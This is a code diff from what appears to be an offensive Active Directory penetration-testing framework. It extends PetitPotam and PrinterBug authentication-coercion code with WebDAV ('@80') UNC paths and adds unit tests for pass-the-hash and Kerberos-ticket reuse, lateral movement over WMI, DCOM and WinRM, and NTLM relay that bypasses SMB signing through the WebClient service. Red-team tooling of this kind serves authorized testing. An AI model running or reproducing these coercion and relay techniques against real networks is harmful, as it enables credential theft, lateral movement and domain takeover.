request += len(listener_path).to_bytes(4, "little")
@@ -580,13 +654,17 @@ class NTLMRelayModule(BaseModule):
dce.disconnect()
return CoercionResult(
- method="petitpotam", source=source, target=target,
+ method="petitpotam_webdav" if use_webdav else "petitpotam",
+ source=source, target=target,
success=True, auth_captured=True,
+ webdav_used=use_webdav,
)
except Exception as exc:
return CoercionResult(
- method="petitpotam", source=source, target=target,
+ method="petitpotam_webdav" if use_webdav else "petitpotam",
+ source=source, target=target,
success=False, error=str(exc)[:200],
+ webdav_used=use_webdav,
)
# Method 2: PrinterBug (MS-RPRN RpcRemoteFindFirstPrinterChangeNotificationEx)
@@ -607,10 +685,11 @@ class NTLMRelayModule(BaseModule):
try:
resp = rprn.hRpcOpenPrinter(dce, f"\\\\{source}\x00")
handle = resp["pHandle"]
- # Register change notification pointing to our target
+ # Register change notification pointing to our target (with WebDAV support)
+ target_machine = f"\\\\{target}@80\x00" if use_webdav else f"\\\\{target}\x00"
rprn.hRpcRemoteFindFirstPrinterChangeNotificationEx(
dce, handle, rprn.PRINTER_CHANGE_ADD_JOB,
- pszLocalMachine=f"\\\\{target}\x00",
+ pszLocalMachine=target_machine,
)
rprn.hRpcClosePrinter(dce, handle)
except Exception:
@@ -618,18 +697,24 @@ class NTLMRelayModule(BaseModule):
dce.disconnect()
return CoercionResult(
- method="printerbug", source=source, target=target,
+ method="printerbug_webdav" if use_webdav else "printerbug",
+ source=source, target=target,
success=True, auth_captured=True,
+ webdav_used=use_webdav,
)
except ImportError:
return CoercionResult(
- method="printerbug", source=source, target=target,
+ method="printerbug_webdav" if use_webdav else "printerbug",
+ source=source, target=target,
success=False, error="impacket rprn not available",
+ webdav_used=use_webdav,
)
except Exception as exc:
return CoercionResult(
- method="printerbug", source=source, target=target,
+ method="printerbug_webdav" if use_webdav else "printerbug",
+ source=source, target=target,
success=False, error=str(exc)[:200],
+ webdav_used=use_webdav,
)
# Try each method
diff --git a/tests/unit/test_lateral_resilience.py b/tests/unit/test_lateral_resilience.py
new file mode 100644
index 0000000..9b8c455
--- /dev/null
+++ b/tests/unit/test_lateral_resilience.py
@@ -0,0 +1,400 @@
+"""
+Unit test suite for Wave 2: Lateral Movement Resilience & Modern Windows Mitigations.
+Verifies:
+ - Kerberos ticket (.ccache / KRB5CCNAME) resolution and NTLM fallback across lateral modules.
+ - Feasibility and validation support for Kerberos tickets without passwords.
+ - WebClient service discovery and WebDAV UNC coercion for SMB signing bypass (Windows 11 24H2+).
+"""
+from __future__ import annotations
+
+import os
+import sys
+from unittest.mock import AsyncMock, MagicMock, patch
+import pytest
+
+from ares.core.campaign import Campaign, NoiseProfile, ScopeEntry
+from ares.core.config import AresSettings
+from ares.core.context import ExecutionContext
+from ares.core.errors import ModuleValidationError
+from ares.core.noise import NoiseController
+from ares.modules.lateral.modules import (
+ BaseLateralModule,
+ LateralResult,
+ LateralTechnique,
+ AuthStrategy,
+ PsExecLateral,
+ WmiExecLateral,
+ WinRMLateral,
+)
+from ares.modules.lateral.dcom import DCOMLateral
+from ares.modules.lateral.ntlm_relay import (
+ NTLMRelayModule,
+ RelayTarget,
+ CoercionResult,
+)
+from ares.modules.ad.coerce import CoerceModule
+
+
+def _make_module(cls):
+ settings = AresSettings(
+ ares_secret_key="test-secret-key-min32-chars-here!!",
+ ares_encryption_key="test-enc-key-min32-chars-here-xxx",
+ )
+ campaign = Campaign(
+ name="Test-Lateral-Wave2",
+ scope=[
+ ScopeEntry(cidr="192.168.0.0/16"),
+ ScopeEntry(cidr="10.0.0.0/8"),
+ ],
+ noise_profile=NoiseProfile.NORMAL,
+ )
+ noise = NoiseController(campaign)
+ return cls(settings=settings, campaign=campaign, noise=noise)
+
+
+class TestLateralAuthStrategyResolution:
+ """Tests for resolving Kerberos ticket reuse vs NTLM vs cleartext passwords."""
+
+ def test_cleartext_password_resolved(self):
+ auth = BaseLateralModule.resolve_auth_strategy(
+ secret="P@ssw0rd123!",
+ domain="CORP.LOCAL",
+ username="jdoe",
+ )
+ assert auth.auth_type == "password"
+ assert auth.do_kerberos is False
+ assert auth.password == "P@ssw0rd123!"
+ assert auth.nthash == ""
+ assert auth.lmhash == ""
+ assert auth.ccache_path is None
+
+ def test_ntlm_hash_32_chars_resolved(self):
+ nthash = "8846f7eaee8fb117ad06bdd830b7586c"
+ auth = BaseLateralModule.resolve_auth_strategy(
+ secret=nthash,
+ domain="CORP.LOCAL",
+ username="jdoe",
+ )
+ assert auth.auth_type == "ntlm"
+ assert auth.do_kerberos is False
+ assert auth.password == ""
+ assert auth.nthash == nthash
+ assert auth.lmhash == ""
+
+ def test_ntlm_hash_lm_nt_pair_resolved(self):
+ lm_nt = "aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c"
+ auth = BaseLateralModule.resolve_auth_strategy(
+ secret=lm_nt,
+ domain="CORP.LOCAL",
+ username="jdoe",
+ )
+ assert auth.auth_type == "ntlm"
+ assert auth.do_kerberos is False
+ assert auth.password == ""
+ assert auth.lmhash == "aad3b435b51404eeaad3b435b51404ee"
+ assert auth.nthash == "8846f7eaee8fb117ad06bdd830b7586c"
+
+ def test_ccache_file_path_resolved(self, tmp_path):
+ ccache_file = tmp_path / "administrator.ccache"
+ ccache_file.write_bytes(b"\x05\x04\x00\x00")
+ auth = BaseLateralModule.resolve_auth_strategy(
+ secret=str(ccache_file),
+ domain="CORP.LOCAL",
+ username="administrator",
+ )
+ assert auth.auth_type == "kerberos"
+ assert auth.do_kerberos is True
+ assert auth.ccache_path == str(ccache_file)
+ assert auth.password == ""
+ assert os.environ.get("KRB5CCNAME") == str(ccache_file)
+
+ def test_ccache_prefix_resolved(self):
+ auth = BaseLateralModule.resolve_auth_strategy(
+ secret="ccache:/var/tmp/krb5cc_1000",
+ domain="CORP.LOCAL",
+ username="svc_backup",
+ )
+ assert auth.auth_type == "kerberos"
+ assert auth.do_kerberos is True
+ assert auth.ccache_path == "/var/tmp/krb5cc_1000"
+
+ def test_krb5ccname_environment_variable_resolved(self, monkeypatch):
+ monkeypatch.setenv("KRB5CCNAME", "FILE:/tmp/krb5cc_shared")
+ auth = BaseLateralModule.resolve_auth_strategy(
+ secret="",
+ domain="CORP.LOCAL",
+ username="admin_user",
+ do_kerberos=True,
+ )
+ assert auth.auth_type == "kerberos"
+ assert auth.do_kerberos is True
+ assert auth.ccache_path == "/tmp/krb5cc_shared"
+
+
+class TestLateralValidationAndFeasibility:
+ """Tests for validating ExecutionContext with Kerberos tickets and checking defense feasibility."""
+
+ @pytest.mark.asyncio
+ async def test_validate_passes_with_kerberos_ticket(self, monkeypatch):
+ monkeypatch.setenv("KRB5CCNAME", "/tmp/ticket.ccache")
+ module = _make_module(WmiExecLateral)
+ ctx = ExecutionContext(
+ target="192.168.1.50",
+ domain="CORP.LOCAL",
+ params={
+ "target": "192.168.1.50",
+ "domain": "CORP.LOCAL",
+ "username": "admin",
+ "ticket": "/tmp/ticket.ccache",
+ },
+ )
+ # Should not raise ModuleValidationError because ticket is recognized
+ await module.validate(ctx)
+
+ @pytest.mark.asyncio
+ async def test_validate_fails_when_no_credentials_or_ticket(self, monkeypatch):
+ monkeypatch.delenv("KRB5CCNAME", raising=False)
+ module = _make_module(WmiExecLateral)
+ ctx = ExecutionContext(
+ target="192.168.1.50",
+ domain="CORP.LOCAL",
+ params={"target": "192.168.1.50", "domain": "CORP.LOCAL", "username": "admin"},
+ )
+ with pytest.raises(ModuleValidationError) as exc:
+ await module.validate(ctx)
+ assert "requires credentials" in str(exc.value)
+
+ @pytest.mark.asyncio
+ async def test_feasibility_considers_kerberos_ticket_positive(self, monkeypatch):
+ monkeypatch.setenv("KRB5CCNAME", "/tmp/ticket.ccache")
+ module = _make_module(PsExecLateral)
+ ctx = ExecutionContext(
+ target="192.168.1.50",
+ domain="CORP.LOCAL",
+ params={"target": "192.168.1.50", "domain": "CORP.LOCAL", "username": "admin"},
+ )
+ report = await module.assess_feasibility(ctx)
+ # Credentials blocker should not appear
+ assert not any("No credentials" in b for b in report.blockers)
+
+
+class TestLateralExecutionKerberosAndFallback:
+ """Tests for Kerberos execution and fallback across lateral modules."""
+
+ @pytest.mark.asyncio
+ async def test_wmiexec_kerberos_with_ntlm_fallback(self):
+ module = _make_module(WmiExecLateral)
+
+ mock_impacket = MagicMock()
+ mock_dcomrt = MagicMock()
+ mock_dcom_inst = MagicMock()
+ mock_iInterface = MagicMock()
+ mock_dcom_inst.CoCreateInstanceEx.return_value = mock_iInterface
+
+ call_count = 0
+ def _dcom_side_effect(*args, **kwargs):
+ nonlocal call_count
+ call_count += 1
+ if kwargs.get("doKerberos"):
+ raise Exception("KDC_ERR_C_PRINCIPAL_UNKNOWN: Kerberos ticket expired")
+ return mock_dcom_inst
+
+ mock_dcomrt.DCOMConnection = MagicMock(side_effect=_dcom_side_effect)
+
+ mock_smb = MagicMock()
+ mock_smb_inst = MagicMock()
+ mock_smb_inst.getFile.side_effect = lambda share, path, callback: callback(b"CORP\\admin\r\n")
+ mock_smb.SMBConnection = MagicMock(return_value=mock_smb_inst)
+
+ mock_wmi = MagicMock()
+ mock_wmi_services = MagicMock()
+ mock_proc = MagicMock()
+ mock_wmi_services.GetObject.return_value = (mock_proc, MagicMock())
+ mock_wmi.IWbemLevel1Login.return_value.NTLMLogin.return_value = mock_wmi_services
+
+ mock_dcom = MagicMock()
+ mock_dcom.wmi = mock_wmi
+
+ mock_modules = {
+ "impacket": mock_impacket,
+ "impacket.dcerpc": MagicMock(),
+ "impacket.dcerpc.v5": MagicMock(),
+ "impacket.dcerpc.v5.dcomrt": mock_dcomrt,
+ "impacket.dcerpc.v5.dcom": mock_dcom,
+ "impacket.dcerpc.v5.dcom.wmi": mock_wmi,
+ "impacket.dcerpc.v5.dtypes": MagicMock(),
+ "impacket.smbconnection": mock_smb,
+ }
+
+ with patch.dict(sys.modules, mock_modules):
+ result = await module.move(
+ target="192.168.1.50",
+ username="admin",
+ domain="CORP.LOCAL",
+ secret="P@ssw0rd123!",
+ command="whoami",
+ do_kerberos=True,
+ )
+
+ assert call_count == 2
+ assert result.technique == LateralTechnique.WMIEXEC
+ assert result.success is True
+
+ @pytest.mark.asyncio
+ async def test_dcom_kerberos_with_ntlm_fallback(self):
+ module = _make_module(DCOMLateral)
+
+ mock_impacket = MagicMock()
+ mock_dcomrt = MagicMock()
+ mock_dcom_inst = MagicMock()
+
+ call_count = 0
+ def _dcom_side_effect(*args, **kwargs):
+ nonlocal call_count
+ call_count += 1
+ if kwargs.get("doKerberos"):
+ raise Exception("KRB_AP_ERR_SKEW: Clock skew too great")
+ return mock_dcom_inst
+
+ mock_dcomrt.DCOMConnection = MagicMock(side_effect=_dcom_side_effect)
+
+ mock_mmc = MagicMock()
+ mock_mmc_inst = MagicMock()
+ mock_mmc.IMMCApplication2 = MagicMock(return_value=mock_mmc_inst)
+
+ mock_modules = {
+ "impacket": mock_impacket,
+ "impacket.dcerpc": MagicMock(),
+ "impacket.dcerpc.v5": MagicMock(),
+ "impacket.dcerpc.v5.dcomrt": mock_dcomrt,
+ "impacket.dcerpc.v5.dcom": MagicMock(),
+ "impacket.dcerpc.v5.dcom.mmc": mock_mmc,
+ "impacket.dcerpc.v5.dcom.wmi": MagicMock(),
+ "impacket.dcerpc.v5.dcom.oaut": MagicMock(),
+ }
+
+ with patch.dict(sys.modules, mock_modules):
+ result = await module.move(
+ target="192.168.1.60",
+ username="admin",
+ domain="CORP.LOCAL",
+ secret="P@ssw0rd123!",
+ command="whoami",
+ do_kerberos=True,
+ )
+
+ assert call_count == 2
+ assert result.technique == LateralTechnique.DCOM
+ assert result.success is True
+
+ @pytest.mark.asyncio
+ async def test_winrm_kerberos_with_ntlm_fallback(self):
+ module = _make_module(WinRMLateral)
+
+ mock_winrm = MagicMock()
+ call_count = 0
+ mock_resp = MagicMock(status_code=0, std_out=b"NT AUTHORITY\\SYSTEM", std_err=b"")
+
+ def _session_side_effect(*args, **kwargs):
+ nonlocal call_count
+ call_count += 1
+ if kwargs.get("transport") == "kerberos":
+ raise Exception("Cannot authenticate via Kerberos: Ticket not found")
+ mock_inst = MagicMock()
+ mock_inst.run_cmd.return_value = mock_resp
+ return mock_inst
+
+ mock_winrm.Session = MagicMock(side_effect=_session_side_effect)
+
+ with patch.dict(sys.modules, {"winrm": mock_winrm}):
+ result = await module.move(
+ target="192.168.1.70",
+ username="admin",
+ domain="CORP.LOCAL",
+ secret="P@ssw0rd123!",
+ command="whoami",
+ do_kerberos=True,
+ )
+
+ assert call_count == 2
+ assert result.success is True
+ assert result.privilege == "SYSTEM"
+
+
+class TestWebClientSMBsigningBypass:
+ """Tests for WebClient service discovery and WebDAV UNC coercion bypassing SMB signing."""
+
+ @pytest.mark.asyncio
+ async def test_webclient_relay_target_discovery(self):
+ module = _make_module(NTLMRelayModule)
+
+ # Simulate host where SMB signing is required (Windows 11 24H2 default)
+ # but WebClient service is active and LDAP signing is not required
+ relay_target = RelayTarget(
+ host="192.168.1.80",
+ smb_signing="required",
+ ldap_signing="not_required",
+ relay_to_ldap=True,
+ relay_to_smb=False,
+ webclient_running=True,
+ webdav_relayable=True,
+ )
+
+ with patch.object(module, "_check_relay_targets", AsyncMock(return_value=[relay_target])), \
+ patch.object(module, "_coerce_authentication", AsyncMock(return_value=[
+ CoercionResult(method="petitpotam_webdav", source="192.168.1.80", target="192.168.1.10", success=True, webdav_used=True)
+ ])):
+
+ findings, raw = await module.run(
+ dc="192.168.1.10",
+ domain="CORP.LOCAL",
+ username="jdoe",
+ password="Password123!",
+ mode="discover",
+ targets=["192.168.1.80"],
+ )
+
+ # Finding emitted for SMB Signing Bypass via WebClient
+ bypass_findings = [f for f in findings if "SMB Signing Bypass" in f.title]
+ assert len(bypass_findings) == 1
+ assert "WebClient / WebDAV" in bypass_findings[0].title
+ assert bypass_findings[0].evidence.get("webclient_running") is True
+ assert bypass_findings[0].evidence.get("bypass_mechanism") == "WebDAV UNC coercion over HTTP port 80"
+
+ @pytest.mark.asyncio
+ async def test_coerce_authentication_webdav_mode(self):
+ module = _make_module(NTLMRelayModule)
+
+ results = await module._coerce_authentication(
+ source="192.168.1.80",
+ target="192.168.1.10",
+ domain="CORP.LOCAL",
+ username="jdoe",
+ password="Password123!",
+ use_webdav=True,
+ )
+
+ # Ensure methods attempted were WebDAV variants
+ for res in results:
+ assert res.webdav_used is True
+ assert "webdav" in res.method
+
+ @pytest.mark.asyncio
+ async def test_ad_coerce_webdav_execution(self):
+ module = _make_module(CoerceModule)
+
+ with patch.object(module, "_petitpotam_sync", return_value=True):
+ findings, raw = await module.run(
+ dc="192.168.1.20",
+ listener_ip="192.168.1.10",
+ method="petitpotam",
+ use_webdav=True,
+ webdav_port=80,
+ )
+
+ assert raw["webdav_coercion_used"] is True
+ assert raw["method"] == "petitpotam_webdav"
+ assert len(findings) >= 1
+ assert "WebDAV / SMB Signing Bypass" in findings[0].title
+ assert findings[0].evidence.get("webdav_coercion") is True
+ assert findings[0].evidence.get("smb_signing_bypass") is True